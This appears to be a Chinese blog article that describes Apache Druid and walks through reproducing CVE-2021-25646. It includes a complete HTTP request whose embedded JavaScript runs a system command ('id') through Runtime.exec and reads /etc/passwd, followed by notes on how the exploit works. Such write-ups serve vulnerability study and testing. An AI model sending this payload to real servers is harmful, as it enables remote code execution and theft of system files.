当前位置: 首页 > article >正文

Apache Druid

目录

Apache Druid是什么?

CVE-2021-25646(Apache Druid代码执行漏洞)


Apache Druid是什么?

        Apache Druid是一个高性能、分布式的数据存储和分析系统。设计用于处理大量实时数据,并进行低延迟的查询。它特别适合用于分析大规模日志、事件数据和时间序列函数数据。Druid支持快速聚合查询,并能够在数秒钟内处理百万条数据。通常用于构建实时数据分析平台,广泛应用于金融,广告、loT等领域。

Druid的特点包括;

  • 高吞吐量和低延迟:支持快速数据插入和查询,适合实时数据分析。
  • 可扩展性:可以在分布式环境中水平扩展,处理大量数据。
  • 灵活的查询能力:支持复杂的聚合、过滤和分组操作,能够应对大数据查询需求。
  • 容错性:通过数据复制和分布式架构,确保高可用性和数据的持久性。

Druid核心应用场景包括实时数据分析、BI、仪表盘以及事件流分析。 

CVE-2021-25646(Apache Druid代码执行漏洞)

漏洞成因:Apache Druid包括执行嵌入在各种请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下,并且默认是禁用得。但是在Druid 0.20.0及以前版本,攻击者通过发送一个恶意请求是Druid用内置引擎执行任意的JavaScript代码,且服务器配置无效。

具体原理:https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw

步骤1:构造恶意数据包发送

POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"/etc","filter":"passwd"}},"dataSchema":{"dataSource":"test","parser":{"parseSpec":{"format":"javascript","timestampSpec":{},"dimensionsSpec":{},"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":10}
}
  1. 漏洞利用点
  • 通过/druid/indexer/v1/sampler接口发送恶意JSON数据
  • firehose配置尝试读取系统敏感文件/etc/passwd
  • JavaScript解析器中的function字段包含恶意代码,通过Runtime.getRuntime().exec()执行系统命令"id"
  1. 攻击特征
  • 使用java.util.ScannerRuntime.getRuntime()实现命令注入
  • 通过useDelimiter("\\A").next()获取命令执行结果
  • 伪造正常数据结构包含timestampSpec等字段进行伪装

步骤2:查看结果

 

http://www.lryc.cn/news/2401471.html

相关文章:

  • 使用深蓝词库软件导入自定义的词库到微软拼音输入法
  • Docker快速部署AnythingLLM全攻略
  • 使用Node.js分片上传大文件到阿里云OSS
  • 高性能分布式消息队列系统(四)
  • C#异步编程:从线程到Task的进化之路
  • [论文阅读] 人工智能+软件工程 | 用大模型优化软件性能
  • 复变函数中的对数函数及其MATLAB演示
  • 【Linux】Linux程序地址基础
  • React 项目初始化与搭建指南
  • 将图形可视化工具的 Python 脚本打包为 Windows 应用程序
  • AWS DocumentDB vs MongoDB:数据库的技术抉择
  • 无人机军用与民用技术对比分析
  • 刷leetcode hot100--矩阵6/1
  • Qt 中实现文本截断(ellipsis)的功能。Qt 提供了此方法来处理过长的文本显示问题,例如在界面中限制文本长度并添加省略号(...)
  • Cisco IOS XE WLC 任意文件上传漏洞复现(CVE-2025-20188)
  • 基于ResNet残差网络优化梯度下降算法实现图像分类
  • 群晖NAS套件历史版本资源
  • Docker轻松搭建Neo4j+APOC环境
  • 定制开发开源AI智能名片S2B2C商城小程序在无界零售中的应用与行业智能升级示范研究
  • CppCon 2015 学习:CLANG/C2 for Windows
  • Spring中@Primary注解的作用与使用
  • Spring Boot + Elasticsearch + HBase 构建海量数据搜索系统
  • [zynq] Zynq Linux 环境下 AXI BRAM 控制器驱动方法详解(代码示例)
  • 【大模型:知识图谱】--5.neo4j数据库管理(cypher语法2)
  • 六、数据库的安全性
  • 贪心算法应用:装箱问题(BFD算法)详解
  • C#学习第27天:时间和日期的处理
  • 编程技能:格式化打印05,格式控制符
  • MPLAB X IDE ​软件安装与卸载
  • windows编程实现文件拷贝